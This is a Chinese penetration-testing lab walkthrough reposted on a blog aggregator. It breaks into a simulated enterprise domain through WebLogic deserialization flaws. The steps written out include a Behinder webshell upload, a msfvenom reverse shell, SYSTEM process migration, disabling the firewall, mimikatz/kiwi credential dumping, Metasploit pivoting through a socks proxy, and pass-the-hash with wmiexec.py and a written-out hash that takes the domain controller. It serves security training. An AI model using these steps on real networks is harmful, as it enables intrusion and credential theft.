渗透测试综合实验(迂回渗透,入侵企业内网并将其控制为僵尸网络)

第1节 实验概述

1.1 实验背景概述

本实验为模拟真实企业环境搭建的漏洞靶场,通过网络入侵Web服务器,拿到控制权限后发现有内网网段,建立隧道做内网穿透,接着进一步扫描内网主机,并进行漏洞利用,最终通过域渗透获取域控制器主机权限。本实验拓扑规划如下图所示:

 拓扑描述:实验拓扑整体分为外网、企业网络(DMZ区、内网区域),Web服务器部署在DMZ区域,提供Web服务给互联网用户访问,在内网区域通过部署域的方式实现企业员工主机的管理。

实验目的:了解域在企业内网安全防护的重要性。通过对企业内网的整体性渗透测试,包括信息收集、漏洞扫描、漏洞利用、内网穿透、域内信息收集、域内权限提升等流程,让读者加深对内网渗透的理解,掌握渗透测试的常用方法与技巧,最终能将所学知识与技能灵活运用到实际工作当中。

1.2 实验环境及实验工具要求

实验环境:

本实验环境通过VMware Workstation 15.5.6建立,通过NAT模式及仅主机模式来模拟企业外网与内网,具体网段分配如下所示:

内网网段:10.10.10.0/24

DMZ网段:192.168.200.0/24

本实验共5台实验机器,IP配置信息如下:

DC(域控制器):

(内网)IP10.10.10.10

WEB(Web服务器):

(内网)IP110.10.10.80

(外网)IP2192.168.200.203

PC(域内主机):

(内网)IP110.10.10.201

(外网)IP2192.168.200.206

攻击机

(外网)IP192.168.200.158(Windows攻击机)

(外网)IP192.168.200.207(Kali攻击机)

环境说明:

本实验所有机器登录密码均为:Test@1234

实验工具:

Nmap(网络探测工具)

WeblogicScan(Weblogic漏洞扫描工具)

Java反序列化终极测试工具

Metasploit(安全漏洞检测工具)

Behinder冰蝎(WebShell综合管理工具)

火狐浏览器

第2节 实验过程

2.1 环境准备

2.1.1 用到的渗透知识

  1. 配置基本网络
  2. 开启Web服务

2.1.2 对应的渗透步骤

1.配置网络

在实验机器中,已经将内网IP地址设置完毕,因此只需要在VMware workstation中设置虚拟网络,单击左上角“编辑”->“虚拟网络编辑器”。

 

在虚拟网络编辑器中,将VMnet1虚拟网卡的网段设置为内网网段:10.10.10.0/24。

 将VMnet8虚拟网卡的网段设置为外网网段:192.168.200.0/24。

 2.查看网络配置情况

在DC主机中,通过TEST\administrator用户登录。

 在CMD中查看IP配置情况。

 在WEB主机中,通过WEB\administrator用户登录。

 在CMD中查看IP配置情况。

 在PC主机中,通过TEST\testuser001用户登录。

 在CMD中查看IP配置情况。

3.开启Web服务

    在实验开始之前,需要在WEB主机中开启Web服务,以满足后续步骤的需求。进入WEB主机的“C:\Oracle\Middleware\user_projects\domains\base_domain\”文件夹,以管理员身份运行:startWeblogic.cmd文件。

运行之后,在弹窗的执行窗口看到如下内容,说明服务运行成功。(注意:此窗口不能关闭,最小化即可。)

 2.1.3 渗透结果

   进入Kali攻击机(账号:root密码:Test@1234),打开浏览器访问Web服务地址,若出现以下界面,则说明环境配置成功。

2.2 信息收集

2.2.1 用到的渗透知识

  1. Nmap探测系统指纹、开放端口技巧
  2. WeblogicScan工具探测漏洞

2.2.2 对应的渗透步骤

1.通过Nmap探测Web服务器系统指纹、开放端口等信息

在Kali终端执行:nmap -sV -O 192.168.200.203

探测端口服务:nmap -Pn -A -T4 192.168.200.203

根据以上扫描结果,发现Web服务器开放了很多常用端口。部分端口可能存在漏洞,具体如下:

445端口:开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞;

7001端口:说明存在weblogic服务,可能存在反序列化、SSRF、任意文件上传、后台路径泄露;

139端口:说明存在Samba服务,可能存在爆破、未授权访问、远程命令执行等漏洞;

1433端口:说明存在MSSQL服务,可能存在爆破、注入、SA弱口令等漏洞;

3389端口:说明存在远程桌面。

2.Web漏洞探测

使用WeblogicScan工具扫描Web服务器。进入/root目录,查看WeblogicScan工具并将工具解压。

 

进入WeblogicScan目录,执行命令扫描漏洞。

2.2.3 渗透结果

  经过脚本探测,发现目标服务器的后台地址,并且该脚本会尝试爆破登录密码,但是由于字典限制,爆破未能成功。

同时,发现存在Java反序列化漏洞,包括如下几个漏洞:

CVE-2017-3506 漏洞

CVE-2019-2725 漏洞

CVE-2019-2729 漏洞

2.3 漏洞利用获得Webshell

2.3.1 用到的渗透知识

  1. 冰蝎马Webshell的获取方法
  2. MSF-Webshell的获取方法
  3. 主机信息的收集方法
  4. 权限提升方法

2.3.2 对应的渗透步骤

1.方式一:上传冰蝎马获取Webshell

在Windows攻击机中,进入桌面的“Java反序列化终极测试工具”文件夹,在当前文件夹打开CMD,并执行:java -jar DeserializeExploit.jar

 打开工具后,选择对应中间件类型,并填写地址,最后单击“获取信息”。

 能够获取目标信息,说明漏洞已经成功利用。此时,切换到“执行命令”,查看当前用户权限。

 根据上图可知,当前用户权限为administrator。此时,利用这个工具上传冰蝎马,获取更

加强大的Webshell。

在Windows攻击机,进入桌面的“冰蝎_v4.0.6\server”文件夹,打开shell_java9.jsp木马文件,并将代码内容复制下来。

在Java反序列化终极测试工具中,将代码写入到shell3.jsp并上传至如下路径:

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell3.jsp

在浏览器访问如下地址,确认木马是否成功上传并解析:

http://192.168.200.203:7001/console/framework/skins/wlsconsole/images/shell3.jsp

页面显示空白说明解析成功。

打开冰蝎工具。

在空白处新增链接,填入对应内容并保存。

右键打开链接,页面会自动加载连接。

若页面显示“已连接”,则说明Webshell获取成功。

 此时可以在冰蝎进行进一步渗透利用,功能包括:命令执行、虚拟终端、文件管理、内网穿透、反弹shell数据库管理等。

2.方式二:上传MSF木马获取Webshell

通过msfvenom生成php木马文件,并保存到/var/www/html/目录下。   

启动apache服务。

 在Windows攻击机,访问Kali木马地址。

将木马内容复制到Java反序列化终极测试工具,并提交上传。

 在Kali监听反弹的Webshell。

通过浏览器访问上传到Web服务器的木马文件。

回到Kali,可以看到Webshell已经成功反弹过来。

3.获取主机信息

在Meterpreter-Shell中,查看当前shell信息及用户权限。

 执行:shell命令,进入目标主机CMD界面,若出现乱码,则在CMD界面执行:chcp 65001解决乱码问题。

 查看网络配置信息。

查看操作系统及版本信息

查看系统服务安装及运行情况。

查看启动程序信息

查看防火墙状态。可以看到防火墙为开启状态。

查看系统补丁信息。

4.提升权限

回到Meterpreter-Shell,执行ps查看进程。

 通过getpid查看当前shell的进程号。

可以看到这个进程很容易被发现,需要进一步隐藏。

将进程迁移到SYSTEM权限的进程:services

注:services.exe是微软windows操作系统的一部分,用于管理启动和停止服务。

执行migrate 468进行迁移。

 进程迁移后直接变成SYSTEM权限。

 关闭防火墙。

加载mimikatz,在新版MSF中mimikatz已经被kiwi替代。

执行: load kiwi

kiwi常用指令如下表所示:

常用命令

说明

creds_all

列举所有凭据

creds_kerberos

列举所有kerberos凭据

creds_msv

列举所有msv凭据

creds_ssp

列举所有ssp凭据

creds_tspkg

列举所有tspkg凭据

creds_wdigest

列举所有wdigest凭据

2.3.3 渗透结果

通过上传MSF木马成功获取到Webshell,并通过提权成功得到域账号及密码等信息。

执行:creds指令获取域内账号明文信息。

2.4 内网渗透

2.4.1 用到的渗透知识

  1. 域内信息收集方法
  2. 内网流量代理方法
  3. 域内主机权限的获取方法
  4. 域控制器权限获取方法

2.4.2 对应的渗透步骤

1.WEB主机内网信息收集

在前面步骤中,已经得知WEB服务器存在一个内网网段:10.10.10.0/24

在CMD界面,继续收集域内信息。

执行:net config workstation //查看当前计算机名,用户名,系统版本,工作站域,登陆的域等

 若提示如上报错,则执行:ipconfig /all也能看到域的信息,最终得到工作域为:test.com

 执行:net user /domain  //查看域内用户

 执行:net group /domain  //查看域用户组列表

 执行:net group "domain computers" /domain   //查看域内所有机器,可以看到目前有2台域内主机。

执行:net group "domain controllers" /domain   //查看域控制器组,可以看到域控制器主机名为:DC

执行:net group "Enterprise Admins" /domain   //查看域管理员,可以看到管理员为:Administrator

利用auxiliary/scanner/smb/smb_version 模块探测内网存活主机。

 由于未进行内网漫游,因此最终只能得到WEB服务器的内网IP、操作系统版本及主机名等信息。

2.建立域内连接(内网穿透)

回到Meterpreter-Shell,执行:run post/windows/gather/enum_domain   //查看域控制器IP

得到域控为:DC.test.com,IP为:10.10.10.10

执行:run post/multi/manage/autoroute   //添加内网路由

 查看路由。

挂起当前session。

通过auxiliary/server/socks_proxy模块建立反向代理。

修改/etc/proxychains4.conf代理配置文件,在最后一行将IP修改为:127.0.0.1,端口修改为:1080

3.其他主机内网信息收集

此时,在Meterpreter-shell执行:run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 进行域内存活主机探测。

根据上面探测结果,还有一台IP为10.10.10.201的机器是未知状态。

利用auxiliary/scanner/smb/smb_version模块进行探测。

最终成功探测,得到目标主机为:Windows 7 sp1操作系统。

4.获取域内主机权限

通过Nmap进行防火墙探测。

执行:proxychains4 nmap -Pn -sF 10.10.10.201

进一步通过Nmap进行端口和服务探测。

执行:

proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.201

根据前面的探测结果,验证是否存在MS17-010漏洞。

利用auxiliary/scanner/smb/smb_ms17_010模块进行探测是否存在漏洞。

确认漏洞存在后,通过psexec模块进行漏洞利用。

 执行exploit之后,没有返回监听,漏洞利用失败。

 因为前面已经通过kiwi获得了域管理账号的hash值,所以,此时可使用wmicexec.py进行漏洞利用。

执行:

proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.201

最终还是利用失败。

5.获取域控制器权限

由于前面步骤无法正常获取域内主机权限,因此,先考虑尝试获取域控制器权限,最后再通过域控制器获取域内主机控制权限。

通过Nmap进行端口和服务探测。

执行:

proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.10

发现同样开放了445端口。

和2.4.4步骤一样,尝试通过wmicexec.py进行漏洞利用。

执行如下命令:

proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.10

可以看到,最终成功拿到域控制器管理员权限。

查看域控制器是否开启防火墙。

由于乱码问题,无法确定防火墙开启与否。

此时,需要考虑换一种方式获取shell,可参考2.4.4的方式进行shell的获取,例如:使用

最终成功获得反弹的shell,并获得SYSTEM最高控制权限。

 进入域控制器CMD-shell,查看防火墙是否开启。

 根据上图可知,防火墙为开启状态,此时需要关闭防火墙。

查看是否开启远程桌面。

 2.4.3 渗透结果

1.通过域内横向渗透,最终成功获得域控制器和域内主机管理权限。执行如下命令,远程登录域控制器:

proxychains4 rdesktop 10.10.10.10

 在远程登录界面,选择“其他用户”,然后填写前面获取的域管理员账号及密码进行登录。

 成功进入域控制器。

此时,将域控制器作为跳板机,可以直接远程登录到域内主机(PC)。

在域控制器打开远程桌面。

填写账号及密码。

注:若一直处于连接状态,则关闭重新建立连接。

 成功登录PC域内主机。

环境链接:https://pan.baidu.com/s/1bEDIorNu4BLd8fu4aXxbFw 

需要的私信我

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/7569.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java登录页面验证码的生成以及展示

1、代码示例 后端返回前端一个字节数组。 2、gif图面展示 网页中一张图片可以这样显示&#xff1a; <img src“http://www.jwzzsw.com/images/log.gif”/>也可以这样显示&#xff1a; <img src“data:image/gif;base64,R0lGODlhAgACAIAAAP///wAAACwAAAAAAgACAAACAo…

聚会Party

前言 加油 原文 聚会常用会话 ❶ He spun his partner quickly. 他令他的舞伴快速旋转起来。 ❷ She danced without music. 她跳了没有伴乐的舞蹈。 ❸ The attendants of the ball are very polite. 舞会的服务员非常有礼貌。 ❶ Happy birthday to you! 祝你生日快乐!…

Linux--高级IO--poll--0326

1. poll #include <poll.h> int poll(struct pollfd *fds, nfds_t nfds, int timeout); poll只负责等。 参数介绍 fds 是一个结构体类型的地址&#xff0c;相比于select中的fd_set类型,pollfd结构体可以内部封装一些遍历&#xff0c;解决需要关系那些文件描述符&#…

ES6新特性保姆级别教程【建议收藏】

文章目录1、ECMAScript 6 简介1.1、ECMAScript 和 JavaScript 的关系1.2、ES6 与 ECMAScript 2015 的关系1.3、ECMAScript 的历史2、let 和 const 命令2.1、let 命令2.1.1、基本用法2.1.2、不存在变量提升2.1.3、不允许重复声明2.1.4、暂时性死区2.2、const 命令2.2.1、基本用法…

cuda学习4-6

4. Hardware Implementation NVIDIA GPU架构是围绕一系列可扩展的多线程流式多处理器&#xff08;SM&#xff09;构建的。当主机CPU上的CUDA程序调用内核网格时&#xff0c;网格的块将被枚举并分配给具有可用执行能力的多处理器。线程块的线程在一个多处理器上并发执行&#x…

C++内存管理详解

大家好&#xff0c;这里是bang_bang&#xff0c;今天来分享下内存管理的知识。 目录 1.C/C内存分布 2.C内存管理方式 2.1new/delete操作内置类型 2.2new/delete操作自定义类型 3.operator new与operator delete函数 3.1operator new 3.2operator delete 4.new和delete的实现…

367. 有效的完全平方数 ——【Leetcode每日一题】

367. 有效的完全平方数 给你一个正整数 num 。如果 num 是一个完全平方数&#xff0c;则返回 tru &#xff0c;否则返回 false 。 完全平方数 是一个可以写成某个整数的平方的整数。换句话说&#xff0c;它可以写成某个整数和自身的乘积。 不能使用任何内置的库函数&#xf…

Mybatis框架源码笔记(九)之反射工具类解析

1 反射工具类 Java中的反射功能虽然强大&#xff0c;但是代码编写起来比较复杂且容易出错。Mybatis框架提供了专门的反射包&#xff0c;对常用的反射操作进行了简化封装&#xff0c;提供了更简单方便的API给调用者进行使用&#xff0c;主要的反射包代码结果如下&#xff1a; …

React 组件的 children 数据使用

children 属性表示该组件的子节点&#xff0c;只要组件内部有子节点&#xff0c;props 就有该属性&#xff0c;是自动带上的&#xff0c;不需要开发者添加。 children 可以是 普通文本、普通标签元素、函数、JSX … 案例一&#xff1a;普通文本 import React from "rea…

奇异值分解(SVD)和图像压缩

在本文中&#xff0c;我将尝试解释 SVD 背后的数学及其几何意义&#xff0c;还有它在数据科学中的最常见的用法&#xff0c;图像压缩。 奇异值分解是一种常见的线性代数技术&#xff0c;可以将任意形状的矩阵分解成三个部分的乘积&#xff1a;U、S、V。原矩阵A可以表示为&#…

数据结构与算法基础(王卓)(21):哈夫曼编码(1):过程

逻辑雏形 根据老师讲解的思路&#xff0c;梳理出程序运行的逻辑雏形如下&#xff1a; 搞一个多维数组HC&#xff0c;用来存储我们这里 n(每) 个节点的哈夫曼编码搞一个数组cd&#xff0c;用来存储我们这里每个节点是前面一位的左子树&#xff08;0&#xff09;还是右子树&…

Spark 基本知识介绍

文章目录1. Spark是什么2. Spark与Hadoop区别3. Spark四大特点3.1 速度快3.2 易于使用3.3 通用性强3.4 运行方式4. Spark整体框架5. Spark运行模式6. Spark架构角色6.1 YARN角色6.2 Spark 角色1. Spark是什么 Spark是用于大规模数据处理的统一分析引擎。 Spark 最早源于一篇论…

Qt5.15.2 for WebAssembly 环境搭建 - Windows篇

Qt系列文章目录 文章目录Qt系列文章目录前言一、准备工作二、操作步骤1.使用cmd工具2.安装Qt for WebAssembly3.创建工程WebAssembly3.创建Qt Assembly工程参考前言 由于前端Canvas绘制图像效率问题&#xff0c;而且实现三维特效也有性能瓶颈&#xff0c;虽然Web 技术突飞猛进…

基于Arm Cortex-M4核心MK60DN256VMD10、MK60DX256VMD10嵌入式微控制器芯片介绍

MK60DN256VMD10&#xff08;MK60DX256VMD10&#xff09;是Kinetis K6x系列32位微控制器&#xff0c;基于ArmCortex-M4核心&#xff0c;是与Kinetis Kx MCU家族兼容的引脚&#xff0c;外设和软件。K6x mcu还集成了10/100Mbps以太网与IEEE1588精确时间协议(PTP)收发器和USB 2.0 (…

【Linux-计算机网络】-TCP协议通信流程

1.TCP协议通信流程图 1.1TCP协议的通讯流程可以分为以下步骤&#xff1a; 应用层&#xff1a;应用程序通过系统调用API&#xff08;如socket&#xff09;创建一个TCP套接字&#xff08;socket&#xff09;&#xff0c;并设置好相关的选项。 传输层&#xff1a;当应用程序调用c…

再学C语言49:C库中的字符串函数

C库提供了很多处理字符串的函数&#xff1b;ANSI C用头文件 string.h 给出这些函数的原型 一、strlen()函数 功能&#xff1a;计算并返回字符串长度 示例代码&#xff1a; /* test strlen() function */ #include <stdio.h> #include <string.h>int main(void)…

数据的存储--->【大小端字节序】(Big Endian)(Little Endian)

⛩️博主主页&#xff1a;威化小餅干&#x1f4dd;系列专栏&#xff1a;【C语言】藏宝图&#x1f38f; ✨绳锯⽊断&#xff0c;⽔滴⽯穿&#xff01;一个编程爱好者的学习记录!✨前言计算机硬件有两种存储数据的方式&#xff1a;大端字节序——Big Endian小端字节序——Little …

【Python】【进阶篇】十、Python爬虫的Requests库

目录十、Python爬虫的Requests库10.1 常用请求方法10.1.1 requests.get()10.1.2 requests.post()10.2 对象属性10.3 Requests库应用十、Python爬虫的Requests库 Python 提供了多个用来编写爬虫程序的库&#xff0c;除了前面已经介绍的 urllib 库之外&#xff0c;还有一个很重的…

vue尚品汇商城项目-day07【44.个人中心二级路由搭建+45.我的订单+46.优化登录跳转+47.独享守卫】

文章目录44.个人中心二级路由搭建45.我的订单46.优化登录跳转47.独享守卫本人其他相关文章链接44.个人中心二级路由搭建 修改代码&#xff1a; 将Center拆分为2个组件MyOrderGroupOrder src/router/routes.js import Center from /pages/Center import GroupOrder from /pages…

QT 常见控件使用

1. QLineEdit 添加控件后&#xff0c;可以编辑控件的名称&#xff0c;然后使用名称获取和设置值 QString qstrValue ui->strName->text(); QMessageBox::information(this, "提示", qstrValue); 2.窗体导航切换 添加新的对话框&#xff0c;然后引入头文件…